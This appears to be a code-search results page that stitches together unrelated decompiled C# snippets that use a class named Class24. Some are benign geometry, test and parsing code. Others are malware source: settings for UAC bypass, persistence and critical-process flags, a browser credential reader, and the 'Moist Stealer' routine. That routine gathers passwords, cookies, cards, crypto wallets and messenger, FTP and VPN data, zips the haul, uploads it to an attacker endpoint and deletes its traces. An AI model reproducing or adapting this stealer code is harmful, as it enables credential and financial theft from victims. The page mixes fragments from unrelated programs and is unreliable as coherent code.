Exemple #1
0
    // Token: 0x060000FF RID: 255 RVA: 0x00006F30 File Offset: 0x00005130
    public static void smethod_3(object[] object_0)
    {
        string text  = (string)object_0[0];
        Guid   guid_ = (Guid)object_0[1];
        Guid   guid  = (Guid)object_0[2];

        if (Class8.dictionary_2.ContainsKey(text))
        {
            return;
        }
        Client client = Class8.smethod_39();

        Class8.dictionary_2.Add(text, client);
        GClass3 gclass3_ = null;

        if (!(guid == Guid.Empty))
        {
            gclass3_ = Class23.smethod_1(guid).gclass3_0;
        }
        client.method_31(new GClass0());
        client.method_30().method_0(guid_, text, gclass3_);
        client.method_4(new Client.GDelegate4(Class8.smethod_78));
        client.method_6(new Client.GDelegate2(Class8.smethod_77));
        client.method_2(new Client.GDelegate7(Class8.smethod_79));
        client.method_14(new Client.GDelegate9(Class8.smethod_81));
        client.method_44(Class8.smethod_65(), Class24.smethod_6());
    }
Exemple #2
0
        internal List <Triangle> method_11(PointSet pointSet_1)
        {
            if (pointSet_1.Count < 3)
            {
                throw new ArgumentException("Can not triangulate less than three vertices");
            }
            pointSet_1.RandomPermute();
            List <Class24> list = new List <Class24>();
            Class24        item = this.getBoundaryPoint(pointSet_1);

            list.Add(item);
            foreach (Point point in pointSet_1)
            {
                List <Edge> list2 = new List <Edge>();
                for (int i = list.Count - 1; i >= 0; i--)
                {
                    Point p  = list[i].getPoint0();
                    Point p2 = list[i].getPoint1();
                    Point p3 = list[i].getPoint2();
                    if (Predicate.InCircleOrdered(p, p2, p3, point) > 0.0)
                    {
                        list2.Add(new Edge(list[i].getPoint0(), list[i].getPoint1()));
                        list2.Add(new Edge(list[i].getPoint1(), list[i].getPoint2()));
                        list2.Add(new Edge(list[i].getPoint2(), list[i].getPoint0()));
                        list.RemoveAt(i);
                    }
                }
                for (int j = list2.Count - 2; j >= 0; j--)
                {
                    for (int k = list2.Count - 1; k >= j + 1; k--)
                    {
                        if (list2[j] == list2[k])
                        {
                            list2.RemoveAt(k);
                            list2.RemoveAt(j);
                            k--;
                        }
                    }
                }
                foreach (Edge current in list2)
                {
                    list.Add(new Class24(current.StartPoint, current.EndPoint, point));
                }
            }
            for (int l = list.Count - 1; l >= 0; l--)
            {
                if (list[l].method_17(item))
                {
                    list.RemoveAt(l);
                }
            }
            List <Triangle> list3 = new List <Triangle>();

            foreach (Class24 current2 in list)
            {
                list3.Add(new Triangle(current2.getPoint0(), current2.getPoint1(), current2.getPoint2()));
            }
            return(list3);
        }
Exemple #3
0
        public void Test2()
        {
            int expected = 1;

            int[] arr    = new int[] { -1, 3, -4, -5, 2 };
            var   actual = Class24.FindPeak(arr);

            Assert.Equal(expected, actual);
        }
Exemple #4
0
        public void Test4()
        {
            int expected = -1;

            int[] arr    = null;
            var   actual = Class24.FindPeak(arr);

            Assert.Equal(expected, actual);
        }
Exemple #5
0
        public void Test1()
        {
            int expected = 3; //index

            int[] arr    = new int[] { 1, 3, 4, 5, 2 };
            var   actual = Class24.FindPeak(arr);

            Assert.Equal(expected, actual);
        }
Exemple #6
0
        public void Test3()
        {
            int expected = 0;

            int[] arr    = new int[] { -1 };
            var   actual = Class24.FindPeak(arr);

            Assert.Equal(expected, actual);
        }
Exemple #7
0
 private Point method_3(Class24 class24_1, Class24 class24_2)
 {
     if (!class24_1.method_18(class24_2.getPoint0()))
     {
         return(class24_2.getPoint0());
     }
     if (!class24_1.method_18(class24_2.getPoint1()))
     {
         return(class24_2.getPoint1());
     }
     return(class24_2.getPoint2());
 }
    // Token: 0x060001ED RID: 493 RVA: 0x0000FC9C File Offset: 0x0000DE9C
    private static List <Class24> smethod_2(string string_0)
    {
        List <Class24> result;

        try
        {
            string text = Dirs.WorkDir + "test.fv";
            if (File.Exists(text))
            {
                File.Delete(text);
            }
            File.Copy(string_0, text, true);
            Class12        @class = new Class12(text);
            List <Class24> list   = new List <Class24>();
            @class.method_4("urls");
            for (int i = 0; i < @class.method_1(); i++)
            {
                try
                {
                    string a = string.Empty;
                    try
                    {
                        a = @class.method_0(i, 5);
                    }
                    catch
                    {
                    }
                    if (a != "")
                    {
                        List <Class24> list2  = list;
                        Class24        class2 = new Class24();
                        class2.method_1(@class.method_0(i, 1));
                        class2.method_3(@class.method_0(i, 2));
                        list2.Add(class2);
                    }
                }
                catch
                {
                }
            }
            File.Delete(text);
            result = list;
        }
        catch
        {
            result = null;
        }
        return(result);
    }
Exemple #9
0
        public void Test_Class24()
        {
            var instance = new Harmony("test");

            Assert.NotNull(instance, "instance");

            var processor = new PatchClassProcessor(instance, typeof(Class24));

            Assert.NotNull(processor, "processor");
            _ = processor.Patch();

            Class24.bool1 = null;
            Class24.bool2 = null;
            Class24.Method24();

            Assert.NotNull(Class24.bool1, "bool1");
            Assert.IsTrue(Class24.bool1.Value, "bool1.Value");

            Assert.NotNull(Class24.bool2, "bool2");
            Assert.IsTrue(Class24.bool2.Value, "bool2.Value");
        }
Exemple #10
0
        private void method_2()
        {
            if (this.pointSet_1.Count < 3)
            {
                this.double_0 = 0.0;
            }
            Point center = this.pointSet_1.Center;

            this.list_0 = new List <Edge>();
            Class24 @class;

            for (int i = 0; i < this.pointSet_1.Count - 1; i++)
            {
                this.list_0.Add(new Edge(this.pointSet_1[i], this.pointSet_1[i + 1]));
                @class         = new Class24(this.pointSet_1[i], this.pointSet_1[i + 1], center);
                this.double_0 += @class.method_11();
            }
            this.list_0.Add(new Edge(this.pointSet_1[this.pointSet_1.Count - 1], this.pointSet_1[0]));
            @class         = new Class24(this.pointSet_1[this.pointSet_1.Count - 1], this.pointSet_1[0], center);
            this.double_0 += @class.method_11();
        }
Exemple #11
0
        public List <Triangle> GetTriangles(bool throwOnError)
        {
            if (this.class15_0 == null | this.list_0 == null)
            {
                throw new InvalidOperationException("A valid triangulation does not exist. Compute the triangulation first!");
            }
            this.list_2 = new List <Triangle>();
            List <Triangle> list = new List <Triangle>();

            for (int i = 0; i < this.list_0.Count; i++)
            {
                if (this.list_0[i].method_0() && !this.list_0[i].method_12().method_17(this.class24_0))
                {
                    Class24 @class = this.list_0[i].method_12();
                    try
                    {
                        Triangle item = new Triangle(@class.getPoint0(), @class.getPoint1(), @class.getPoint2());
                        list.Add(item);
                    }
                    catch (System.Exception ex)
                    {
                        double absoluteEpsilon = Global.AbsoluteEpsilon;
                        double relativeEpsilon = Global.RelativeEpsilon;
                        Global.AbsoluteEpsilon = -1.0;
                        Global.RelativeEpsilon = -1.0;
                        Triangle item2 = new Triangle(@class.getPoint0(), @class.getPoint1(), @class.getPoint2());
                        this.list_2.Add(item2);
                        Global.AbsoluteEpsilon = absoluteEpsilon;
                        Global.RelativeEpsilon = relativeEpsilon;
                        if (throwOnError)
                        {
                            throw new ArithmeticException("Can not convert near-degenerate triangle due to floating point accuracy.");
                        }
                    }
                }
            }
            return(list);
        }
Exemple #12
0
 internal bool method_17(Class24 class24_0)
 {
     return((this.getPoint0().X == class24_0.getPoint0().X&& this.getPoint0().Y == class24_0.getPoint0().Y) || (this.getPoint0().X == class24_0.getPoint1().X&& this.getPoint0().Y == class24_0.getPoint1().Y) || (this.getPoint0().X == class24_0.getPoint2().X&& this.getPoint0().Y == class24_0.getPoint2().Y) || (this.getPoint1().X == class24_0.getPoint0().X&& this.getPoint1().Y == class24_0.getPoint0().Y) || (this.getPoint1().X == class24_0.getPoint1().X&& this.getPoint1().Y == class24_0.getPoint1().Y) || (this.getPoint1().X == class24_0.getPoint2().X&& this.getPoint1().Y == class24_0.getPoint2().Y) || (this.getPoint2().X == class24_0.getPoint0().X&& this.getPoint2().Y == class24_0.getPoint0().Y) || (this.getPoint2().X == class24_0.getPoint1().X&& this.getPoint2().Y == class24_0.getPoint1().Y) || (this.getPoint2().X == class24_0.getPoint2().X&& this.getPoint2().Y == class24_0.getPoint2().Y));
 }
 // Token: 0x06000128 RID: 296 RVA: 0x00002837 File Offset: 0x00000A37
 public static byte[] smethod_10()
 {
     return((byte[])Class24.smethod_35("BypassUserAccountControlData", null));
 }
Exemple #14
0
 internal Class15(Class24 class24_1)
 {
     this.bool_0    = true;
     this.list_0    = new List <DelaunayTriangulation2d.Class15>();
     this.class24_0 = class24_1;
 }
Exemple #15
0
 internal void method_13(Class24 class24_1)
 {
     this.class24_0 = class24_1;
 }
 // Token: 0x06000126 RID: 294 RVA: 0x000027FF File Offset: 0x000009FF
 public static bool smethod_8()
 {
     return((bool)Class24.smethod_35("RequestElevation", false));
 }
Exemple #17
0
 private void method_5(DelaunayTriangulation2d.Class15 class15_1, DelaunayTriangulation2d.Class15 class15_2)
 {
     if (!class15_2.method_12().method_18(class15_1.method_12().getPoint0()))
     {
         DelaunayTriangulation2d.Class15 @class = new DelaunayTriangulation2d.Class15();
         @class.method_7(class15_1.method_6());
         @class.method_9(class15_1.method_8());
         @class.method_11(class15_1.method_10());
         Class24 class2 = new Class24();
         class2.setPoint2(class15_1.method_12().getPoint0());
         class2.setPoint0(class15_1.method_12().getPoint1());
         class2.setPoint1(class15_1.method_12().getPoint2());
         class15_1.method_13(class2);
         class15_1.method_11(@class.method_6());
         class15_1.method_7(@class.method_8());
         class15_1.method_9(@class.method_10());
     }
     else if (!class15_2.method_12().method_18(class15_1.method_12().getPoint1()))
     {
         DelaunayTriangulation2d.Class15 class3 = new DelaunayTriangulation2d.Class15();
         class3.method_7(class15_1.method_6());
         class3.method_9(class15_1.method_8());
         class3.method_11(class15_1.method_10());
         Class24 class4 = new Class24();
         class4.setPoint1(class15_1.method_12().getPoint0());
         class4.setPoint2(class15_1.method_12().getPoint1());
         class4.setPoint0(class15_1.method_12().getPoint2());
         class15_1.method_13(class4);
         class15_1.method_9(class3.method_6());
         class15_1.method_11(class3.method_8());
         class15_1.method_7(class3.method_10());
     }
     if (!class15_1.method_12().method_18(class15_2.method_12().getPoint0()))
     {
         DelaunayTriangulation2d.Class15 class5 = new DelaunayTriangulation2d.Class15();
         class5.method_7(class15_2.method_6());
         class5.method_9(class15_2.method_8());
         class5.method_11(class15_2.method_10());
         Class24 class6 = new Class24();
         class6.setPoint2(class15_2.method_12().getPoint0());
         class6.setPoint0(class15_2.method_12().getPoint1());
         class6.setPoint1(class15_2.method_12().getPoint2());
         class15_2.method_13(class6);
         class15_2.method_11(class5.method_6());
         class15_2.method_7(class5.method_8());
         class15_2.method_9(class5.method_10());
         return;
     }
     if (!class15_1.method_12().method_18(class15_2.method_12().getPoint1()))
     {
         DelaunayTriangulation2d.Class15 class7 = new DelaunayTriangulation2d.Class15();
         class7.method_7(class15_2.method_6());
         class7.method_9(class15_2.method_8());
         class7.method_11(class15_2.method_10());
         Class24 class8 = new Class24();
         class8.setPoint1(class15_2.method_12().getPoint0());
         class8.setPoint2(class15_2.method_12().getPoint1());
         class8.setPoint0(class15_2.method_12().getPoint2());
         class15_2.method_13(class8);
         class15_2.method_9(class7.method_6());
         class15_2.method_11(class7.method_8());
         class15_2.method_7(class7.method_10());
     }
 }
Exemple #18
0
    public LogonResponse Initialize(string userID, string logonPassword, string serverIP, int serverPort, ICustomizeHandler customizeHandler)
    {
        if (this.emptyAgileLogger_0 == null)
        {
            if (this.string_1 == null)
            {
                this.emptyAgileLogger_0 = new EmptyAgileLogger();
            }
            else
            {
                FileAgileLogger logger = new FileAgileLogger(this.string_1)
                {
                    MaxLength4ChangeFile = 0x100000L
                };
                this.emptyAgileLogger_0 = (EmptyAgileLogger)logger;
            }
        }
        this.eventSafeTrigger_0.AgileLogger = this.emptyAgileLogger_0;
        this.string_0 = logonPassword;
        Class16 class2 = new Class16();
        MessageForbiddenHandler class3 = new MessageForbiddenHandler();

        this.object_0 = Class157.CreateInterface26((Enum6)0);
        int num = (!this.advancedOptions_0.CheckResponseTTL4Query || !this.bool_4) ? 10 : 0;

        this.class72_0 = new Class72(num, this.int_1);
        this.class72_0.SetEngine((IEngine)this.object_0);
        Interface36          interface2 = new Class94((ICommitMessageToServer)this.object_0, class3, null);
        Class79              class4     = new Class79(this.class72_0, interface2);
        BasicMessageTypeRoom room       = new BasicMessageTypeRoom();

        room.Initialize();
        CustomizeMessageTypeRoom room2 = new CustomizeMessageTypeRoom();

        room2.Initialize();
        FileMessageTypeRoom room3 = new FileMessageTypeRoom();

        room3.Initialize();
        P2PSessionMessageTypeRoom room4 = new P2PSessionMessageTypeRoom();

        room4.Initialize();
        FriendsMessageTypeRoom room5 = new FriendsMessageTypeRoom();

        room5.Initialize();
        GroupMessageTypeRoom room6 = new GroupMessageTypeRoom();

        room6.Initialize();
        ContactsMessageTypeRoom room7 = new ContactsMessageTypeRoom();

        room7.Initialize();
        this.class113_0 = new BasicOutter();
        this.class113_0.SetBasicMessageTypeRoom(room);
        this.class113_0.SetActionType(class4);
        this.class113_0.SetStreamContract(class2);
        this.class113_0.SetICommitMessageToServer((ICommitMessageToServer)this.object_0);
        this.class113_0.NgadStsqsh += new CbGeneric(this.method_1);
        this.class113_0.method_2(userID);
        this.class71_0 = new Class71(this.class113_0, this.bool_4 ? 0 : this.int_0);
        Class78 class9 = new Class78();

        class9.method_5(this.class113_0);
        class9.method_1(room);
        class9.method_2(class2);
        class9.method_4((ICommitMessageToServer)this.object_0);
        class9.method_3(class4);
        this.class43_0 = new Class43();
        this.class43_0.method_5(class4);
        this.class43_0.method_4(class2);
        this.class43_0.method_3(room2);
        this.class43_0.method_1(userID);
        CustomizeProcess class10 = new CustomizeProcess();

        class10.SetStreamContractHelper(class2);
        class10.SetCustomizeHandler(customizeHandler);
        class10.SetCustomizeMessageTypeRoom(room2);
        class10.SetActionType(class4);
        class10.Event_0 += new CbGeneric <string, int, byte[], string>(this.OnMessageReceived);
        Class75 class7 = new Class75(class4, class2, room4);

        class7.method_1(userID);
        Class24 class8 = new Class24();

        class8.method_0(room4);
        class8.method_1(class2);
        class8.DaTyrcXefU(class7);
        this.class2_0 = new FileTransfering();
        this.class2_0.method_0(this.emptyAgileLogger_0);
        this.class13_0 = new FileHandler();
        this.class13_0.method_0(this.emptyAgileLogger_0);
        this.class2_0.TTL4ResumedFileItem = this.advancedOptions_0.TempFile4ResumedTTL;
        this.class13_0.method_1(class4);
        this.class13_0.method_3(class2);
        this.class13_0.imethod_1(0x100000);
        this.class13_0.method_7(this.advancedOptions_0.UseWorkThreadPool);
        this.class13_0.Initialize(userID, room3.FilePackageData);
        this.class28_0 = new Class28();
        this.class28_0.method_2(this.advancedOptions_0.CheckFileZeroSpeedSpanInSecs);
        this.class28_0.method_0(this.emptyAgileLogger_0);
        this.class28_0.method_13(room3);
        this.class28_0.method_14(class2);
        this.class28_0.method_16(class4);
        this.class28_0.method_12(this.class2_0);
        this.class28_0.method_11(this.class13_0);
        this.class28_0.Initialize(userID);
        Class70 class11 = new Class70();

        class11.method_0(room3);
        class11.method_1(class2);
        class11.method_3(this.class13_0);
        class11.method_2(this.class2_0);
        class11.method_4(this.class28_0);
        this.class126_0 = new FriendsOutter();
        this.class126_0.method_4(class4);
        this.class126_0.method_3(class2);
        this.class126_0.method_2(room5);
        this.class126_0.FriendOffline += new CbGeneric <string>(this.method_6);
        this.class126_0.method_1(userID);
        Class59 class12 = new Class59();

        class12.method_2(class2);
        class12.method_3(this.class126_0);
        class12.method_1(room5);
        this.class19_0 = new GroupOutter2();
        this.class19_0.method_0(class4);
        this.class19_0.uBkeyEkxPJ(class2);
        this.class19_0.Iibebiqvn1(room6);
        this.class19_0.SetCommitMessageToServer((ICommitMessageToServer)this.object_0);
        this.class19_0.GroupmateOffline += new CbGeneric <string>(this.method_7);
        this.class19_0.method_4(userID);
        Class140 class13 = new Class140();

        class13.method_0(room6);
        class13.method_2(this.class19_0);
        class13.method_1(class2);
        this.ContactsOutter_0 = new ContactsOutter();
        this.ContactsOutter_0.method_2(class4);
        this.ContactsOutter_0.SetStreamContract(class2);
        this.ContactsOutter_0.SetMessageType(room7);
        this.ContactsOutter_0.SetCommitMessageToServer((ICommitMessageToServer)this.object_0);
        this.ContactsOutter_0.ContactsOffline += new CbGeneric <string>(this.method_8);
        this.ContactsOutter_0.method_5(userID);
        Class20 class14 = new Class20();

        class14.SetMessageType(room7);
        class14.SetOutter(this.ContactsOutter_0);
        class14.SetStreamContract(class2);
        IProcess[] processers = new IProcess[] { class9, class10, class8, class11, class12, class13, class14 };
        this.class141_0 = new Class141(processers, this.class72_0);
        this.class141_0.method_6(this.advancedOptions_0.AsynMessageQueueEnabled && !this.bool_4);
        this.class141_0.method_7(class4);
        this.class141_0.method_4(this.emptyAgileLogger_0);
        this.class141_0.method_8();
        new Class40(new IMessageTypeRoom[] { room, room2, room3, room4, room5, room6, room7 }, this.class141_0).method_2();
        MessageDispatcher class6 = new MessageDispatcher(new Class144(new Class115(this.class141_0)), class3);

        class6.imethod_0(this.emptyAgileLogger_0);
        this.object_0.SetAgileLogger(this.emptyAgileLogger_0);
        this.object_0.Sock5ProxyInfo = this.sock5ProxyInfo_0;
        this.object_0.SetAgileIPE(new AgileIPE(serverIP, serverPort));
        this.object_0.SetStreamContract(class2);
        this.object_0.imethod_12(class6);
        this.object_0.imethod_10(GlobalUtil.MaxLengthOfMessage);
        this.object_0.AutoReconnect = false;
        this.object_0.imethod_23((this.advancedOptions_0.WriteTimeoutInSecs <= 0) ? -1 : (this.advancedOptions_0.WriteTimeoutInSecs * 0x3e8));
        this.object_0.SocketSendBuffSize           = this.advancedOptions_0.SocketSendBuffSize;
        this.object_0.UncompletedSendingCount4Busy = this.advancedOptions_0.UncompletedSendingCount4Busy;
        this.object_0.ConnectionInterrupted       += new CbGeneric(this.method_5);
        this.object_0.imethod_25(new CbGeneric(this.method_4));
        this.object_0.ConnectionRebuildStart += new CbGeneric(this.method_2);
        this.object_0.Initialize();
        LogonFullResponse response = this.class113_0.method_7(this.systemToken, this.string_0);

        if (response.LogonResult != LogonResult.Succeed)
        {
            this.object_0.OnDispose();
            return(response);
        }
        this.object_0.imethod_27();
        this.bool_0 = response.Boolean_0;
        this.bool_3 = response.GroupRelationEnabled;
        if ((this.bool_0 && this.advancedOptions_0.Boolean_0) && !this.bool_4)
        {
            if (response.UseAsP2PServer && (this.agileIPE_0 == null))
            {
                this.agileIPE_0 = new AgileIPE(this.object_0.GetAgileIPE().String_0, this.object_0.GetAgileIPE().Port + 1);
            }
            if (this.agileIPE_0 != null)
            {
                this.class58_0 = new P2PController();
                this.class58_0.method_6(this.agileIPE_0);
                this.class58_0.method_5(this.emptyAgileLogger_0);
                this.class58_0.method_3((Interface26)this.object_0);
                this.class58_0.method_2(class7);
                this.class58_0.method_4(room4);
                this.class58_0.P2PChannelClosed += new CbGeneric <P2PChannelState>(this.method_3);
                this.class58_0.method_7(userID, this.bool_2);
                interface2.imethod_2(this.class58_0);
                class8.method_2(this.class58_0);
                this.class13_0.method_4(new Class56(this.class58_0));
                this.class19_0.method_1(this.class58_0);
            }
        }
        if (this.bool_2)
        {
            this.class108_0 = new TcpPassiveEngine((Interface26)this.object_0, this.class113_0, this.emptyAgileLogger_0);
            this.class108_0.method_3();
        }
        this.class71_0.method_0();
        this.class113_0.SendHeartBeatMessage();
        this.string_3 = userID;
        this.bool_1   = true;
        this.object_0.AutoReconnect = this.bool_5;
        return(response);
    }
 // Token: 0x0600012C RID: 300 RVA: 0x0000289D File Offset: 0x00000A9D
 public static bool smethod_14()
 {
     return((bool)Class24.smethod_35("PreventSystemSleep", true));
 }
 // Token: 0x06000129 RID: 297 RVA: 0x00002849 File Offset: 0x00000A49
 public static bool smethod_11()
 {
     return((bool)Class24.smethod_35("ClearZoneIdentifier", true));
 }
Exemple #21
0
        private static void HtmlDecode(string s, TextWriter output)
        {
            lock (_lock)
            {
                if (s == null)
                {
                    return;
                }
                if (s.IndexOf('&') < 0)
                {
                    output.Write(s);
                    return;
                }
                int length = s.Length;
                int num2   = 0;
Label_0022:
                if (num2 >= length)
                {
                    return;
                }
                char ch = s[num2];
                if (ch != '&')
                {
                    goto Label_0109;
                }
                int num3 = s.IndexOfAny(char_0, num2 + 1);
                if ((num3 <= 0) || (s[num3] != ';'))
                {
                    goto Label_0109;
                }
                string str = s.Substring(num2 + 1, (num3 - num2) - 1);
                if ((str.Length > 1) && (str[0] == '#'))
                {
                    try
                    {
                        if ((str[1] != 'x') && (str[1] != 'X'))
                        {
                            ch = (char)int.Parse(str.Substring(1));
                        }
                        else
                        {
                            ch = (char)int.Parse(str.Substring(2), NumberStyles.AllowHexSpecifier);
                        }
                        num2 = num3;
                    }
                    catch (FormatException)
                    {
                        num2++;
                    }
                    catch (ArgumentException)
                    {
                        num2++;
                    }
                    goto Label_0109;
                }
                num2 = num3;
                char ch2 = Class24.smethod_0(str);
                if (ch2 != '\0')
                {
                    ch = ch2;
                    goto Label_0109;
                }
                output.Write('&');
                output.Write(str);
                output.Write(';');
Label_0100:
                num2++;
                goto Label_0022;
Label_0109:
                output.Write(ch);
                goto Label_0100;
            }
        }
 // Token: 0x06000124 RID: 292 RVA: 0x000027C3 File Offset: 0x000009C3
 public static ushort smethod_6()
 {
     return((ushort)Class24.smethod_35("ConnectionPort", 9033));
 }
 // Token: 0x0600011E RID: 286 RVA: 0x00002727 File Offset: 0x00000927
 public static DateTime smethod_0()
 {
     return((DateTime)Class24.smethod_35("BuildTime", DateTime.UtcNow));
 }
 // Token: 0x0600012A RID: 298 RVA: 0x00002865 File Offset: 0x00000A65
 public static bool smethod_12()
 {
     return((bool)Class24.smethod_35("ClearAccessControl", false));
 }
Exemple #25
0
 // Token: 0x06001434 RID: 5172 RVA: 0x00004F84 File Offset: 0x00003184
 public Class79(Class24 class24_1)
 {
     this.class24_0 = class24_1;
 }
 // Token: 0x0600012D RID: 301 RVA: 0x000028B9 File Offset: 0x00000AB9
 public static bool smethod_15()
 {
     return((bool)Class24.smethod_35("ActivateAwayMode", false));
 }
 // Token: 0x06000125 RID: 293 RVA: 0x000027E3 File Offset: 0x000009E3
 public static bool smethod_7()
 {
     return((bool)Class24.smethod_35("RunOnStartup", false));
 }
 // Token: 0x06000127 RID: 295 RVA: 0x0000281B File Offset: 0x00000A1B
 public static bool smethod_9()
 {
     return((bool)Class24.smethod_35("BypassUserAccountControl", false));
 }
Exemple #29
0
 public static void GetStealer()
 {
     try
     {
         Directory.CreateDirectory(Help.Moist_Dir);
         Directory.CreateDirectory(Help.Browsers);
         Directory.CreateDirectory(Help.Passwords);
         Directory.CreateDirectory(Help.Autofills);
         Directory.CreateDirectory(Help.Downloads);
         Directory.CreateDirectory(Help.Cookies);
         Directory.CreateDirectory(Help.History);
         Directory.CreateDirectory(Help.Cards);
         File.SetAttributes(Help.dir, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Directory);
         GetFiles.Inizialize(Help.Moist_Dir);
         Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000));
         try
         {
             Class4.smethod_0(Help.Cookies);
         }
         catch
         {
         }
         try
         {
             Class4.PlqfdbrYf(Help.Passwords);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_2(Help.Autofills);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_3(Help.Downloads);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_4(Help.History);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_1(Help.Cards);
         }
         catch
         {
         }
         try
         {
             Class12.smethod_2();
         }
         catch
         {
         }
         try
         {
             Class12.smethod_3();
         }
         catch
         {
         }
         try
         {
             Class25.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class15.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class24.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class23.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class20.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             TGrabber.Start(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class14.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class21.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class13.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class22.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class16.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class17.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class37.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             DomainDetect.Start(Help.Browsers);
         }
         catch
         {
         }
         string text = string.Concat(new string[]
         {
             Help.dir,
             "\\",
             Help.HWID,
             Help.smethod_0(),
             ".zip"
         });
         using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866")))
         {
             zipFile.CompressionLevel = 9;
             zipFile.Comment          = string.Concat(new string[]
             {
                 "Moist Stealer. Build 1.1\n<---------------------------------------->\nPC:",
                 Environment.MachineName,
                 "/",
                 Environment.UserName,
                 "\nIP: ",
                 Help.IP,
                 Help.Country(),
                 "\nHWID: ",
                 Help.HWID
             });
             zipFile.AddDirectory(Help.Moist_Dir ?? "");
             zipFile.Save(text ?? "");
         }
         string text2 = text ?? "";
         byte[] file  = File.ReadAllBytes(text2);
         string url   = string.Concat(new string[]
         {
             Help.ApiUrl,
             "?id=",
             Class1.string_0,
             "&caption=",
             "⚡️ Moist Stealer Gate detected new log! ⚡️\n",
             "\ud83d\udd25 User: "******"/",
             Environment.UserName,
             " \ud83d\udd25\n",
             "\ud83c\udf0d IP: " + Help.IP,
             " ",
             Help.Country(),
             "\n\n",
             string.Concat(new string[]
             {
                 "\n\ud83c\udf10 Browsers Data\nPasswords: ",
                 (Class4.int_0 + Class10.int_0 + Class12.EeFrnHmbxo).ToString(),
                 "\nCookies: ",
                 (Class4.int_3 + Class12.int_0).ToString(),
                 "\nHistory: ",
                 Class4.int_4.ToString(),
                 "\nAutofill: ",
                 Class4.int_1.ToString(),
                 "\nCC:  ",
                 Class4.int_5.ToString(),
                 "\n"
             }),
             string.Concat(new string[]
             {
                 "\n\ud83d\udcb6 Wallets: ",
                 (Class37.int_0 > 0) ? "Yes" : "No",
                 (Class31.int_0 > 0) ? " Electrum" : "",
                 (Class26.int_0 > 0) ? " Armory" : "",
                 (Class27.int_0 > 0) ? " Atomic" : "",
                 (Class28.int_0 > 0) ? " BitcoinCore" : "",
                 (Class29.int_0 > 0) ? " Bytecoin" : "",
                 (Class30.int_0 > 0) ? " DashCore" : "",
                 (Class32.int_0 > 0) ? " Ethereum" : "",
                 (Class33.int_0 > 0) ? " Exodus" : "",
                 (Class35.int_0 > 0) ? " LitecoinCore" : "",
                 (Class36.int_0 > 0) ? " Monero" : "",
                 (Class38.int_0 > 0) ? " Zcash" : "",
                 (Class34.int_0 > 0) ? " Jaxx" : "",
                 "\n\n\ud83e\uddf2 Grabbed files: ",
                 GetFiles.count.ToString(),
                 "\n\ud83d\udcac Discord: ",
                 (Class14.int_0 > 0) ? "Yes" : "No",
                 "\n\ud83d\udee9 Telegram: ",
                 (TGrabber.count > 0) ? "Yes" : "No",
                 "\n\ud83d\udca1 Jabber: ",
                 (Class20.int_0 + Class18.int_0 > 0) ? "Yes" : "No",
                 (Class18.int_0 > 0) ? (" Pidgin (" + Class18.uGwrzbZsuw.ToString() + ")") : "",
                 (Class20.int_0 > 0) ? " Psi" : "",
                 "\n\n\ud83d\udce1 FTP\nFileZilla: ",
                 (Class16.int_0 > 0) ? ("Yes (" + Class16.int_0.ToString() + ")") : "No",
                 "\nTotalCmd: ",
                 (Class17.int_0 > 0) ? "Yes" : "No",
                 "\n\n⚖️ VPN\nNordVPN: ",
                 (Class23.int_0 > 0) ? "Yes" : "No",
                 "\nOpenVPN: ",
                 (Class24.int_0 > 0) ? "Yes" : "No",
                 "\nProtonVPN: ",
                 (Class25.int_0 > 0) ? "Yes" : "No",
                 "\n\nHWID: ",
                 Help.HWID,
                 "\n⚙️ ",
                 Class22.smethod_4(),
                 "\n\ud83d\udd0e Domain detect",
                 File.ReadAllText(Help.Browsers + "\\DomainDetect.txt")
             })
         });
         SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url);
         Directory.Delete(Help.dir + "\\", true);
         File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID);
     }
     catch
     {
     }
 }
 // Token: 0x0600012B RID: 299 RVA: 0x00002881 File Offset: 0x00000A81
 public static bool smethod_13()
 {
     return((bool)Class24.smethod_35("SetCriticalProcess", false));
 }